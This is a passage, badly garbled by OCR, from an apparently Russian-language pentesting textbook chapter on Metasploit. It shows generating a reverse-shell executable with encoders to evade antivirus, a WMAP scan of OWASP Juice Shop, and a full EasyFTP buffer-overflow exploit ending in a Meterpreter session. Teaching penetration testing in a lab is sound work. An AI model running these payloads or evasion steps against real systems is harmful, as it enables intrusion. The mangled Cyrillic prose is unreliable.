POBaIbIIUKA, OJJHAKO MAlllTHAM CBOMCTBEHHO OINOAThCs, KaK 1 JogaM. [ToaTomy
B HaIlleM TIPUMeEPE Mbl YKaKeM, KAKUM UMEHHO MIM(POBAJBIITMKOM XOTUM BOCITOJIb-

30BaThCs, IyCTh aTO Oy/er shikata_ga_nai:

msf6 > use payload/windows/shell_reverse_tcp

msf6 payload(windows/shell reverse_tcp) > generate -f exe-small LHOST=127.0.0.1

-0 /home/itsecbook/r_shell.exe
[*] Writing 4643 bytes to /home/itsecbook/r_shell.exe...

[IpoBepnMm crereprpoBaHHBIN (haiijl aAHTUBUPYCAMU M YBU/IUM, UTO TIPAKTHYECKH BCE

pacro3Haau BpeIoHOCHBIH Kox (puc. 14.2).

Tenepb creHepupyeM TOT Ke KOJI, HO IPUMEHUM K HEMY OJIMH U3 JIOCTYITHbBIX 9HKO-

JIepoB:
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msf6 payload(windows/shell_reverse_tcp) > generate -f exe-small LHOST=127.0.0.1
-0 /home/itsecbook/r_shell.exe -e cmd/powershell base64 -i 5
[*] Writing 4667 bytes to /home/itsecbook/r_shell.exe...

Kaxk Buzinm, B peayJibrare MHKAICYJISIIIAN KOJIITYECTBO AHTHBUPYCOB, KOTOPbIE CMOTJIN
pacro3HaTh BPeJIOHOCHBIN KOJI, yMeHbIuI0ch (puc. 14.3).

L OWASP Juice Shop x| F] ViusTotal - File - 5618640 x| 4 - = *
« 2 C @ 0 8 hitps:liwww: com/guitile/56t864011295065¢7acc843tadb4e2e273b87 . ¢y ®w & =
"y Kali Linux 83 Kali Tools [l kali Docs ', Kali Forums (38 Kali NetHunter & Exploit-DB % Google Hacking DB | OffSec »
z SEIBE4N 1 2950650 T acchd: T3b8 7 o ™ P e s ["sign up ]
(1) 50 security vendors and ne sandboxes flagged this file as malicious
C- Reanalyze L Downboad = == Similarto =  More =
SGHBEA01 7accBdadbdeed 738 Size | Last Analysis Date %“
1_shollexe 453KB amoment aga EXE
ple  spreader  overtay
Commnity Sture
DETECTION DETAILS BEHAVIOR COMMUNITY
Jain the VT Community and anjoy additional community insights and erowdeoureed dotections, plus an APl key to autemate sheaks.
ular threat
m, (D trojan shellcodu/duop Threat fes  tojan Family labels  sheloode  dospscan  maste
Seourity vendors’ analysis (D Do you want to autemate chocks?
Ad-Awara (D L ShelCode Marte.HE... AlLYac (D L ShellCode.Marte H.E...
Antiy-AVI (D) TrojanWin32 Genoma Areabis (T DeepSean:Ganeric ShollCods Marte HE...
Avast (1) Win32:ShelCode-CI [Tr] AVG (1) Win32:ShellCode-Cl [Trj]
Avira (no cloud) (1) TRICIypt XPACK Gon RitDefendar (T DeepSean:Ganeric ShollCode Marte HE...

es, for security, o a our traffic, and to enable website

Puc. 14.2. Pe3ynbTaT nposepku daiina cepsucom VirusTotal

Taxag 2 PeKTUBHOCTD paboThl AHTUBUPYCOB 0OyCa0BIeHa TeM, uTo Metasploit co-
JIEPIKUT XOPOILO M3BECTHbIE dKCILIONTBL. Ec/in BbI 1€HCTBUTEIBHO XOTHTE 000NUTH
AHTUBUPYC, TO HEOOXOAUMO CO3/1aBaTh CBOW YHUKAJIbHBIN KOJ UJIM UCKATh HOBBIE,
erlie HeM3BeCTHbIE MIPOKOMY KPYTY CHEINaTNCTOB ACKIIJIONUTHI.
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L OWASP Juice Shop % F] ViusTolal - File - Dadble x|+ - B X
“ = O m o 8 hups: i | Ui ah1 Jedshasialafosecbacts €y [=] d‘ =
"t Kali Linex @ Kali Tools [B Kall Docs % Kall Forums 3 Kali NetHunter = Exploit-DB % Google Hacking DB | Offsec w
E s 5695 b 1e4d aQ T B ®¢ s GO
(T} 47 security vendors and no sandboxes flagged this file as malicious
| 47 - Reanalyze W Download * = Similarta = More ~
i
Balb E Size Lasa Anabysis Date o‘
r_shell.exe 4.56 KD amoment age ! EXE
peexe spreader overlay
Community Soare
DETECTION DETAILS BEHAVIOR D COMMUNITY
Jain the VT ity aned enjoy acidilional msighis aand pilizs an AP kay b automale checks.
:‘:‘I"" Treml o vian ™ ia womn  oowriced Family labsls (¥6k008) (aespicen) (e
Securily vendors analysis () Q Do you want to automate checks?
ALYac (T) Dasp ic.SheliCode Marta HLA...  Antiy-AVL (1) TrojanWin32.Gename
Arcabit () Dasp ic.SheliCodeMarta A, Avast (1) Win32:5helCode-CI [Tr)
AVG (D) win32 SheaCode C1 [Tr] Aodirat o cloud) (D) TRIGHy XPACK Gan
RitDefrdor @ i MarteHA... i Thetia (D) GonhM ZexaF 38196 amX@aiHyteb

erences, lor securily, 1o analyse our rallic, and Lo enable website

Puc. 14.3. Pe3ynbTaT nNpoBepku aiina, B KOTOPOM €CTb BHEPEHHbIN Kof,
cepsucomM VirusTotal

No Operation

NOP (No Operation instruction) — aTo THII MOLyJIsT, KOTOPBI NCTIOJIB3YETCS B TIPO-
1ecce sKcrTyaranuu ysssumocreil. «No Operation» 06bIYHO OTHOCUTCS K MATITHH-
HBIM UHCTPYKITUSM, KOTOPBIE He IeTAl0T HUYero, KpoMe IPOITyCKa UK 3aM0THEHUST
IIPOCTPAHCTBA B KO/IE.

B arakax, HarmpaBJeHHBIX Ha nepenoyHenue Oydepa, NOP-ciaiiapl (MHOTIA Hasbl-
BaeMbie NOP-cjion) 4acTo MCHoIb3yIoTCsI TS «<TIepexo/iay B HY;KHYIO TOUKY U T10-
CJIEIYIOIIEr0 UCITOTHEHUST KOJIA.

Post

Post otHOCHTCS K MOAYJIsIM <«post-exploitation», HCIOIb3yeMBIM MOCJE TOTO, KaK
crcTeMa ObljIa yCIEIIHO B3JI0MaHa. DTU MO/YJIU IPEIOCTAB/ISIOT Pa3IMdHble (PYHK-
LMK, KOTOPbIE MOTYT ObITh HPUMEHEHDI A1 cOopa nndopManuu, obecieyenus
IIOCTOAHHOTO IOCTYIla, U3YYE€HUA CETU W BBIIIOJTHEHUA APYTUX 3a/1a4. TaK, MOy
post-exploitation npumMensoTcs s cO0pa YYETHBIX JaHHbIX, U3ydeHus (Gail1oBoil
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CUCTEMBI, ITIOJIYYEHUA TaKoi lIOHO]IHI/ITeJH)HOI;'I I/IH(I)OpMaHI/H/I O CHUCTEME, KaK CITMCOK
3allyII€HHBIX ITPOMECCOB NJIN YCTAaHOBJICHHBIX HpH]IO)KeHHﬁ. ITH NMHCTPYMEHTbI
SABJISIOTCS BaKHOI YaCThHIO apCeHaJIa CIIeNaJInCTa, OCYHIECTBJIAIOMIETO TECT Ha ITPO-
HUKHOBC€HHNE, TAK KaK OHN IMO3BOJIAIOT MaKCUMaJIbHO 3(1)(1)6KTI/IBHO NCII0JIb30BaTb
IIpeENMyieCTBa IMoJIy4€HHOTO JOCTYIIa K CUCTEME.

B Metasploit ecth MHOTO pasHbIX MoayJIel post-exploitation, KOTOpbIe IpexocTaBIIs-
0T MIUPOKUH CrieKTP (DYHKIMIA U TIpeiHa3HAYEHbI JIJIsI PAOOTHI € PA3TUYHBIMHU THITAMU
cucrem: Linux, Windows, OS X, Cisco, Android, Juniper, Solaris u T. z.

Evasion

Evasion, win momynu 06xoza, 6p1u BHenpensl B 2018 roxy u npeacrasisior coboii
HOBBII TUII MOZYJIEl, paspabOTaHHBIX [1JIs1 00X0/a CUCTEM OOHAPYKEHUST BTOPKEHUIT
1 aHTUBUPYCHBIX CUCTEM. DTH MOJLYJIN TIOMOTAIOT C/IeJIaTh BPEJIOHOCHBIN KO/l MEHee
3aMETHBIM, ITO3BOJISISI ATAKYIOIIEMY JOJIbIIE OCTABATHCS HE3aMeUeHHbIM.

Jlist yBeTuveH sl MAHCOB YCIEITHOTO TPOHUKHOBEHUST MOJLYJIA 00X0/Ia MOTYT OBITH
KCIIOJIb30BaHbl BMeECTE ¢ (DYHKIIMOHAJIBHBIMU YaCTAMM KOJA T0JIE3HON HArpy3Ku
u skcmoiitamu. Harmpumep, MOy b 00X0/1a MOJKET U3MEHUTDH CTPYKTYPY 00beKTa
OJIE3HON HATPY3KHU WJIU SKCILIONTA TaK, YTOObI OHU He COOTBETCTBOBAJIN H3BECTHBIM
obpasiaM BpeJJOHOCHOTO KOJIA.

XOTs B HEKOTOPBIX CUTYaIMAX MOAYJIH 00X01a MOTYT paboTtath 9 heKTUBHO, HO
OHU He TapaHTUPYIOT MOJHOTO 00X0/a Beex cucreM oOHapyskeHust. COBpeMeHHbIe
AHTUBUPYCHbBIE PEIIEHUS YaCTO MCIIOIb3YIOT METO/IbI OOHAPYIKEHUsT Ha OCHOBE T10-
BE/IEHUST, KOTOPbIE OMPEEISIIOT BPEJOHOCHDIE IEHCTBYSI [IaKe B CIIydae, eI cam
BPEIOHOCHBIN KO/ ObLT 00(YCIIUPOBaH UM M3MEHEH.

OCHOBHbIE KOMaHAbI

MpbI yske paccMOTpesTH HECKOJIBKO MTPUMEPOB Ucob3oBanust Metasploit, Terepnb
yaeauM BpeMst 6oJiee Toapo6HOMY pazbopy OCHOBHBIX KOMAaH/I.

Yaire Bcero ucmonp3yemast komanaa — help. Ecau BbI 3amycTute KoMany help 6e3
JIOTIOJTHUTEIbHBIX apryMeHTOB B msfconsole, BbI yBUANTE CIIUCOK BCEX OCHOBHBIX
KOMaH/I, IOCTYITHBIX /17151 UCTIOJIb30BAHUS, C KPATKUM OIMCAHNEM KasK/101 13 HUX. Bbl
TaKKe MOJKETe MOJTYUUTh CIIPABKY TI0 KOHKPETHON KOMaHjie, T00aBUB ee B KaueCTBe
aprymenra rocye help. Hanpumep, help search npenocTaBUT BaM JIOTIOJTHUTEIbHbBIE
CBEIEHUS O TOM, KaK HCII0JIb30BaTh KOMAaH/y search.

Komanga version ucmonbsyercs A1 IPOBEPKM BEPCHM TEKYINEH yCTaHOBKM
Metasploit Framework:

msf6 > version
Framework: 6.3.4-dev
Console : 6.3.4-dev
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Komanya connect mpezoctapiisieT (yHKIIMOHATbHBIE BO3MOKHOCTH, aHATOTUIHBIE
BoaMoxkHOCTAM KianenTa PuTTY niu Netcat. Bol MoskeTe ucosib30BaTh ee 1151 Obl-
CTPOro CKaHMPOBAHU [IOPTOB WJIN 3axBaTa OaHHepa:

msf6 > connect -s microsoft.com 443
[*] Connected to microsoft.com:443 (via: 192.168.91.128:44009)

B

HTTP/1.1 400 Bad Request
Content-Length: ©

Connection: close

Date: Fri, 26 May 2023 14:05:06 GMT
Server: Kestrel

Komarzia route mcmonnayeTcest st 106ABIEHMsT, TPOCMOTPA, N3MEHEHUS TN y/ia-
JIEHUST CETEeBBIX MApIIPYTOB.

Komanza save. IHor/a ipu BBITIOJTHEHWH TeCTa Ha TPOHUKHOBEHME B KOH(MUTYpa-
o Metasploit Framework BHOCHTCST MHOJKECTBO MBMEHEHWIH, U €CJIH TTOCTIE OKOH-
yaHust pabOThI BbI MPOCTO 3aKPOETE KOHCOJIb, TO B CJEAYIONIMIT pas MPUIETCS BCe
HacTpamBaTh 3aHOBO. KoMaH 1a save coxpaHsieT Bce KoH(pUTyparmu B (haiisi, KoTopbIii
3arpysKaeTcs Mpu CAemyToleM 3amycKe:

msf6 > save
Saved configuration to: /home/itsecbook/.msf4/config

Komanna sessions. [locae ycrennoii akciiyataiiiy y43BUMOCTH Ha 11€JI€BOM
XOCT€ MBI OGBIYHO TIOJTYIaeM JTOCTYT K KOMAHAHOW cTpoke. Ecim MbI paboTaeM ¢ He-
CKOJIBKUMU I[eJISIMU OJTHOBPEMEHHO, TO TSI KasKJON 13 Iesielf OTKPBIBAETCS CBOE
coerHeHMe, win ceatc. Metasploit MO3BOJIsIET EPEKTIOUATHCS MEKLY HECKOJIBKHU-
MM CEeaHCcaM¥ TI0 Mepe HeOOXOANMOCTH, 2 KOMaH/Ia sessions BBIBOIUT CIIUCOK BCEX
AKTUBHBIX HA JTAHHBI MOMEHT CEaHCOB.

KomaHa show Hcrosbayercst st 0TOOpaskeHUst JOCTYITHBIX MoayJieii Metasploit
WJIH JIJIST OTOOPaKEHUST IOTOJTHUTEILHON WH(MOPMAIHE [TPU UCITOJB30BAHIH OITPe-
JIEJIEHHOTO MOJTYJIS.

Komana info mcrob3yercst i 0ToOpakeHus: CBeAEHUI 0 KOHKPETHOM MOJLYJI€.

Komanza irb maer 1ocTyn K MHTEPAKTUBHON KoHCo Ruby, KOTOpYy10 MOKHO nc-
M10JIb30BATD VIS CO3/IAaHMUS U BbI30BA 110JIb30BATEIbCKUX CIIEHAPHEB.

Komana makerc. Bo Bpems ucnosb3oBanust Metasploit Mbr 3amyckaeM MHOKECTBO
KOMaHI, ¥ WHOT/Ia GBIBAET TI0JIE3HO TIOCMOTPETH UCTOPUIO BBHITIOMHEHHDIX IEHCTBHIL.
Komanza makerc BBIBOIUT BCIO NCTOPUIO KOMAaH/T KOHKPETHOTO CeaHca B OTIpe/IeIs-
eMbIli TToJIb30BaTeseM (haii.

Komana search. Metasploit Framework — s1o cucrema, copepskalinast MHOKECTBO
KOMIIOHEHTOB, U MHOTZA MOKET ObITh IOBOJIBHO CJIOKHO HANTH HYKHBIHA 9KCILIOAT
MJIM MOJLYJTh — TOT/[a ¥ IPUXOANT HA TIOMOIIh KOMaH/a search.

Komanja get uicrionb3yeTcst JIJist TIOJIydYeHust 3HaUeHusI, COJIePIKaIerocs B omnpe-
JIeJIEHHO JIOKaIbHO# TiepemenHOll Metasploit. Hamrpumep, ¢ 111610 IPOCMOTPETH
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[P-anpec 11e1eBO# cUCTEMBI, KOTOPBIN BbI YCTAHOBWJIH JIJIST ONIPEIEJIEHHOTO 9KC-
IJIOUTA.

CremaeM HeGOJBINTOE OTCTYTIIIEHIE U TIPUBEIEM OCHOBHbIE TIEPEMEHHbIE, KOTOPHIE
ucnosb3ytorest B Metasploit. OHu Hy:KHBI JIJIsT XpaHEHUsT PA3JIUIHON HHbOpPMAIWH,
Takoii kak [P-ampeca, HOPTHI, TAPOIH U T. [. ITO IOMOTAeT 110JIb30BaTEISIM HACTPOUTD
AKCIIONTHI M (DYHKITMOHATbHBIE YacTh Kozia. HekoTopbie 13 OCHOBHBIX TIePEMEHHBIX:

e RHOSTS/RHOST: ucniosib3yercs /1711 yKa3aHUs 1[eJeBOTO XOCTA WJTH TIeJI€BBIX
xocToB. Moxker ObiTh IP-azpecom, auanazornom IP-aapecoB nam jaxe uMeHeMm
JIOMEHA;

e LHOST: ucnonbayercs [Jist yKazaHus X0CTa, KOTOPINA Gy/IeT IpUHUMATh 00part-
HOE MOJIKITIOYEHIE OT TIeIeBOTO KoMibioTepa. O6braHo aTo [P-apec ManmiHel, Ha
KoTOpoIi paboraer Metasploit;

e RPORT: ucnosbsyercst s yKazaHUst IOPTa Ha IIeJIEBOM X0OCTe, KOTOPBIN Oyaer
UCII0JIb30BATLCS /LIS DKCILIyaTaluu;

e LPORT: ucniosbdyercs 151 yKazaHust OpTa HA JIOKAJTbHOM MalInHe, KOTOPBIi
OyIeT IpoCAyIIuBaTh 0OPAaTHOE MIOAK/IIOUYEHHE OT LEJIEBOr0 KOMIIbIOTEPA;

e PAYLOAD: ucriosb3yercs st ykazanus (pyHKIIMOHATIBHON YaCTH KO, KOTOPAast
GyJIET MCTIOMB30BATHCS BMECTE € 9KCTLIoNTOM. DyHKIIMOHATbHAST YaCTh KO/ Mo~
JIE3HOU HATPY3KU MOJKET OBITh IPOCTON (Kak oOpaTHast 000JI0UKa) UIIH CIOKHOI;

e TARGET: ucnonb3yercst /Jisl yKa3aHusi KOHKPETHON BEPCUU WJIM BapUaHTa
1[eJIEBOM CUCTEMBI. ITO MOKET OBITh 110JIE3HO, €CJIN DKCILIONT TOep:KIBaeT
HECKOJIBKO BEPCHIl NI BAPUAHTOB CUCTEMBI.

[Tnarcdopma Metasploit umeeT oueHb aKTHBHOE COOBIIECTBO Pa3spabOTUMKOB 1 MPaK-
THYECKH €KEHEBHO B Pa3IMYHBIX CHCTEMaX OOHAPY KUBAIOTCSI HOBBIE YSI3BUMOCTH.
Yr0o06bI Beeria UIMETD 0L PYKOU caMble CBEKUE MOJIYJIN U 9KCILIONTBI, He 3a0bIBaiiTe
peryJsipHo 00HOBJIsATE Metasploit ¢ omoIbio koMan bl msfupdate.

Komanja getg ouenb 1oxoska Ha KOMaH/Iy get, 32 UCKJIIOUEHUEM TOTO, UTO OHA BO3-
BpalllaeT 3HaYeHKe, cogeprKalleecs B IJI00albHOI epeMeHHOM.

Komanner set u setg. Komanzia set npucBanbaet HoBoe 3HaYeHIE OJHON U3 JIO-
kanpubIX epeMeHHbIX (RHOST, RPORT, LHOST u LPPORT). Komanza setg
MPUCBAWBAET HOBOE MIEPMAHEHTHOE 3HAUEHME TJI0OATBHON MTEPEMEHHOIA.

Komanet unset u unsetg. Komanjia unset ouuriaer 3nauenue, paiee COXpaHeHHOE
B JIOKQJIBHOU IT€EPEMEHHOI ¢ IIOMOIIbIO KoMaH bl set. Komana unsetg ouniiaer 3ua-
YyeHue, paHee COXPaHEeHHOe B I100aIbHOI IIePeMEHHOI ¢ TIOMOIIbI0 KOMAH/IbI setg.

[NpakTn4yeckmne npumepsbl

Mbi pacecMOTpes, Kak ToJIb30BaThCsl OT/eAbHBIMU YacTsamu Metasploit. [Tputiio
BpeMst coOpaTh Bce BMeCTe U TIPOIEMOHCTPUPOBATH TEHEPAIINIO 9KCILIONTA € TOJIe3-
HOU HATPY3KOI U B3JIOM T1€JIEBOI CUCTEMBI.
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CKaHMpoBaHWe BE6-NPUNOXKEHUI

WMAP — 310 MOIIHBII CKaHEP YSA3BUMOCTEN BeG-TIPUIosKeHnH, noctymHbii B Kali
Linux. Ou unrerpuposan B Metasploit Framework B Buze miaruna. B nayane pabo-
ThI HEOOXOMMO YKa3aTh Ha €ro MCIOJIb30BaHUE, Il 9TOIO BBHIIOJIHUM CJIELYIONIYIO

KOMaHay:

msf6 > load wmap

[WMAP 1.5.1] === et [ ] metasploit.com 2012

[*] Successfully loaded plugin: wmap

Tenepb, KOrga Mbl 3arpysuiu HeobXoAuMbl MOAYJ/b, HaM HEO6XOAMMO yKasaTb Ha CaWT
n URL, KOTOpbIN Mbl XOTWUM MPOCKAHUPOBAThb.

msf6 > wmap_sites -a 192.168.91.128:42000

[*] Site created.

msf6 > wmap_targets -t http://192.168.91.128:42000/#/1login

msf6 > wmap_targets -1

[*] Defined targets

Id Vhost Host Port SSL Path

0 192.168.91.128 192.168.91.128 42000 false /

Mbi 106aBuIM HOBBII cailT 1 3ajgaiu 1eaesoil URL, Ternepb MOKeM 3aIlyCTUTD
ckarmpoBanue. [TockobKY MBI 3aITycKaeM CKaHUPOBaHUE yke M3BECTHOTO Juice
Shop, otkirounM cBsi3antbie ¢ SSL TecTbl, IOCKOJIBKY B JAHHOM CJIydae Ha I1eJIeBoi
CTPaHUIlE OH HE UCTIOJIb3YETCS:

msf6 > wmap_targets -1
[*] Defined targets

Id Vhost Host Port SSL Path

0 192.168.91.128 192.168.91.128 42000 false /

msf6 > wmap_run -t

[*] Testing target:

[*] Site: 192.168.91.128 (192.168.91.128)
[*] Port: 42000 SSL: false

[*] Testing started. 2023-05-26 11:13:19 -0400
[*] Loading wmap modules...

[*] 39 wmap enabled modules loaded.

[*]

=[

SSL testing ]=




MpakTnyeckne npuMepsl 327

[*] Target is not SSL. SSL modules disabled.
[*]

=[ Web Server testing ]=

[*] Module auxiliary/scanner/http/http_version

[*] Module auxiliary/scanner/http/open_proxy

[*] Module auxiliary/admin/http/tomcat_administration
[*] Module auxiliary/admin/http/tomcat_utf8_traversal
[*] Module auxiliary/scanner/http/drupal_views_user_enum

HeobxoauMble MOYJIH 3aTPy3UJIHCh, B MOKHO MPHUCTYIIATh K TECTUPOBAHUIO Ha-
IEeTo TPIIOKeHNs. Bee pe3ybraThl CKAHNPOBAHIS COXPAHSIOTCS B 6a3e TAHHDLIX
Metasploit, u mpu HeOHXOMMOCTH MBI CMOKEM TIOJYYUTh K HUM JOCTYII:

6 > wmap_run -e
Using ALL wmap enabled modules.
NO WMAP NODES DEFINED. Executing local modules
Testing target:
Site: 192.168.91.128 (192.168.91.128)
Port: 42000 SSL: false

P R

Testing started. 2023-05-26 11:18:23 -0400

SSL testing ]=

[*] Target is not SSL. SSL modules disabled.
[*]

=[ Web Server testing ]=

[*] Module auxiliary/scanner/http/http_version

192.168.91.128:42000

Module auxiliary/scanner/http/open_proxy

Module auxiliary/admin/http/tomcat_administration
Module auxiliary/admin/http/tomcat_utf8_ traversal
Attempting to connect to 192.168.91.128:42000

No File(s) found

ITocne 3aBEPIICHUA CKaHNPOBaHNWA ITOCMOTPUM Ha PE3yIbTaTbl pa6OTbII

msf6 > wmap_vulns -1

[*] + [192.168.91.128] (192.168.91.128): scraper /
scraper Scraper
GET OWASP Juice Shop

+ [192.168.91.128] (192.168.91.128): directory /api/
directory Directory found.
GET Res code: 500

+ [192.168.91.128] (192.168.91.128): directory /ftp/
directory Directory found.

[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*] GET Res code: 200
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B3nom FTP-cepBepa

B omHOM 13 IpUMEPOB MBI YiKe HalL ysissuMbiii FTP-cepsep. Terepsb BbiOepeM
HY>KHBII 9KCIJIONT ¥ CKOH(UTYPUPYEM €T0:

msf auxiliary(ftp_login) > use windows/ftp/easyftp_cwd_fixret
msf exploit(easyftp_cwd_fixret) > info

Name: EasyFTP Server CWD Command Stack Buffer Overflow
Module: exploit/windows/ftp/easyftp_cwd_fixret
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2010-02-16

Provided by:
Paul Makowski <my.hndl@gmail.com>
jduck <jduck@metasploit.com>

Available targets:

Id Name
© Windows Universal - v1.7.0.2
1 Windows Universal - v1.7.0.3
2  Windows Universal - v1.7.0.4
3  Windows Universal - v1.7.0.5
4 Windows Universal - v1.7.0.6
5 Windows Universal - v1.7.0.7
6 Windows Universal - v1.7.0.8
7  Windows Universal - v1.7.0.9
8 Windows Universal - v1.7.0.10
9 Windows Universal - v1.7.0.11
Basic options:
Name Current Setting Required Description
FTPPASS mozilla@example.com no The password for the specified
username
FTPUSER anonymous no The username to authenticate as
RHOST yes The target address
RPORT 21 yes The target port

Payload information:
Space: 450
Avoid: 4 characters

Description:
This module exploits a stack-based buffer overflow in EasyFTP Server
1.7.0.11 and earlier. EasyFTP fails to check input size when parsing
'CWD" commands, which leads to a stack based buffer overflow.
EasyFTP allows anonymous access by default; valid credentials are
typically unnecessary to exploit this vulnerability. After version
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1.7.0.12, this package was renamed "UplusFtp". This exploit utilizes
a small piece of code that I\'ve referred to as 'fixRet'. This code

allows us to inject of payload of ~500 bytes into a 264 byte buffer

by 'fixing' the return address post-exploitation. See references for
more information.

References:
OSVDB (62134)
http://www.securityfocus.com/bid/38262
http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-
return-address-overwrite/
http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-
server-exploit
http://seclists.org/bugtraq/2010/Feb/202

msf exploit(easyftp_cwd_fixret) > set RHOST 192.168.225.1
RHOST => 192.168.225.1

msf exploit(easyftp_cwd_fixret) >

ITpocMOTPUM BapUaHThI HIEJLI-KOLOB U BbIOEpPeM HY KHBbIIi:

msf exploit(easyftp_cwd_fixret) > show payloads

Compatible Payloads

Name Disclosure Date Rank Description

generic/custom normal
Custom Payload

generic/debug_trap normal
Generic x86 Debug Trap

generic/shell_bind_tcp normal
Generic Command Shell, Bind TCP Inline

generic/shell_reverse_tcp normal
Generic Command Shell, Reverse TCP Inline

generic/tight_loop normal
Generic x86 Tight Loop

windows/dllinject/bind_hidden_ipknock_tcp normal
Reflective DLL Injection, Hidden Bind Ipknock TCP Stager

windows/dllinject/bind_hidden_tcp normal
Reflective DLL Injection, Hidden Bind TCP Stager

windows/dllinject/bind_ipv6_tcp normal

Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)

OrnpeneTMBIIMCH C HATPY3KOH, TPOBEPUM MTapaMeTPhl 1 TPOIKCILITYaTUPYEM YSI3BU-
MocTb B FTP-cepBepe:

msf exploit(easyftp_cwd_fixret) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(easyftp_cwd_fixret) > show options
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Module options (exploit/windows/ftp/easyftp_cwd_fixret):

Name Current Setting Required Description

FTPPASS mozilla@example.com no The password for the specified
username

FTPUSER anonymous no The username to authenticate as

RHOST 192.168.225.1 yes The target address

RPORT 21 yes The target port

Payload options (windows/meterpreter/bind_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted:
thread, process, none)

LPORT 4444 yes The listen port

RHOST 192.168.225.1 no The target address

Exploit target:

Id Name

@ Windows Universal - v1.7.0.2
msf exploit(easyftp_cwd_fixret) > exploit
Started bind handler
192.168.225.1:21 - Prepending fixRet...
192.168.225.1:21 - Adding the payload...

192.168.225.1:21 - Sending exploit buffer...
Sending stage (748032 bytes)

, seh,

[*]
[*]
[*]
[*] 192.168.225.1:21 - Overwriting part of the payload with target address...
[*]
[*]
[*]

Meterpreter session 1 opened (192.168.225.128:4444 -> 192.168.225.1:62853)

meterpreter>sysinfo

Computer: TEST

0S : Windows 7 (Build 7601,Service Pack 1).
Architecture : x86

System Language : en_US

Meterpreter : x86/win32



[NepenonHeHne 6ydepa

Teopust nepernosnenust 6ydepa 4acTo OMUCHIBAETCS JOCTATOUHO CIIOKHO, C UCTIOJIb-
30BaHueM crelinuyecKoi TePMUHOJIOTUN U TIPUEMOB, HETIOHSATHBIX CIIEIIUAIUCTAM,
He 32/IeHCTBOBaHHBIM B poriecce pazpaborku [10. Ho B 3TOI KHKUTEe MBI TIOMBITAEMCST
COXPAHUTD GATAHC MESKJLY IPOCTOTOM U3JIOKEHUS U TIIyOUHOI MOTPYsKEHWsI B TAHHBIIA
BOIIPOC.

ITocie sHamenuTol aTaku yepsst Pobepra Moppuca (Morris Worm) B 1988 roay
BO3MOKHOCTD Hepernosnenns Oydepa «Buffer overflow» npusnaercst ool u3 oc-
HOBHbBIX IIPUYUH TTOSIBJIEHNS YSI3BUMOCTEN B IIPOrPAMMax U OIIEPAIINOHHBIX CUCTEMAX.

NHudbopmainio 06 sKCIIONTaX, HCHOIb3YIONNX YA3BUMOCTh THIIA «IIEPENOTHEHIE
Gydepar, ceituac MOKHO HAIITH BO BCEX HOBOCTHBIX PACCHUIKAX M MaTepuaiax Beb-
CalTOB, OCBEIIAIONTIX TeMy UH(MOPMAIIUOHHON Ge30macHOCTH. Tak 4To e 3TO Takoe?

Marepuansr SANS (SysAdmin, Audit, Network, and Security — Heodurmaabtoe
HasBaHue MHCTUTYTa MIepeoBbixX TexHomornil Escal, amepukaHckoil KoMMepuecKoii
KOMITaHWH, CIIEIMAIM3UPYIONIeics Ha MH(MOPMAIIMOHHO 6€30IaCHOCTH ), TIOCBSIIEH-
Hble HAIIPaBJEHHbIM Ha NepenoaHenus Oydepa aTakaM, HAUMHAIOTCS CO CJEAYIOLIMX
CJIOB:

Ilepenonnenue 6ygepa moscem bvims UCNOTL30BANO OIS GbINOIHEHUS CMOPOHHE20
K00a Ha KomMnvlomepe Jeepmebvl, a nOIMoMY OHO OIICHO OMHOCUMBC K YA3GUMO-
cmsam ¢ vlcokum puckom. Kaxcowuii mecsy, o6rapyscusaemces 0ocmamouno 60.1vuloe
KOJIUUECBO YAZBUMOCTET, CEA3ANIBIX ¢ nepenoinenuem oygdepa.

A Bot xak otHOCUTCs K 9T0it ipobieme CERT (Computer Emergency Response
Team, KommipioTepHast TpyTia pearnpoBaHus Ha YPe3BbIUYaitHbIe CUTYAITNN )

Hecmompsi Ha uzeecmuvie pucki, Komopwle ObLiu OMKPbIMbL Yice 00CMaAmMoOUHO
dasio, nepenomenue Oypepa na cez00HAUHUTL OeHb OCMAECMCS OCHOBHOU NPUUUHOLL
63/10MO8.

XOTs MHOTHE CIIETUATICTEI HACJBINITAHDL O TTepernoHeHnn Gydepa 1 TeMa 9Ta 0cTaet-
Cs1 OUEHb MOMYJISIPHON ¥ IIUPOKO OCBEIIEHHOI, B HEll HE TaK-TO TIPOCTO Pa3odpaThCs.
ITpumepb! 1 onMcanust, KOTOPbIE MOKHO HaiiTh B T106a/ibHOil ceTr, TpedYIOT [JIst 110~
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HUMaHMsI XOPOIIX HABBIKOB IporpaMmMupoBatust Ha C, 3BHAKOMCTBa ¢ acceMOJIepoM
U OITBITA MCTIOJMB30BaHUsT OTAaAYUKOB. C APYTOI CTOPOHDI, HEKOTOPbIE CTATHU OTIU-
CHIBAIOT METOJIMKY TiepenonHerust 6ydepa, (GoKycupysich JIHIIb Ha TEOPETHIECCKOM,
abCTPaKTHOM yPOBHE.

B nanHO¥ r1aBe Mbl pacCCMOTPHUM HECKOJBKO OCHOBHBIX MTPUEMOB TEPETIOTHEHUS
6ydepa, HO HEKOTOPbBIE TEXHUYECKUE JIETATH OTHUIIEM JOCTATOYHO TIOBEPXHOCTHO,
mpejtarasi YuTaTesrio YIpoueHHYI0 Mo/IesIb. 32 OCHOBY ITPU OITUCAHUM T€XHOJIOTHI
Bo3bMeM s3bIK TTporpammupoBanus C, OC Linux u apxutektypy X86, KoTopas 1u-
poko npuMmensetcs B mporieccopax cemelictBa INTEL 1 AMD. Ha camom nesie Bce
npyrue apxuTekTypol 1 OC TaksKe TOABEPKEHBI HATIPABJIEHHBIM Ha TIePETIOJHEHTE
6ydepa aTakam, HO B KaKIOM CIIydae OYAyT CBOM OCOOEHHOCTH.

YT0 Takoe nepenosiHeHne bydepa?

OcHoBHas 11eJ1b JII060iT TIPOTPaMMbI, KOTOPast 3amylileHa Ha KOMITbITepe, — 00-
paboTKa Kakux-arb0 JaHHBIX. MHOTHE TPOrpaMMbl PabOTAIOT HE CO CTaHAAPTHBIM,
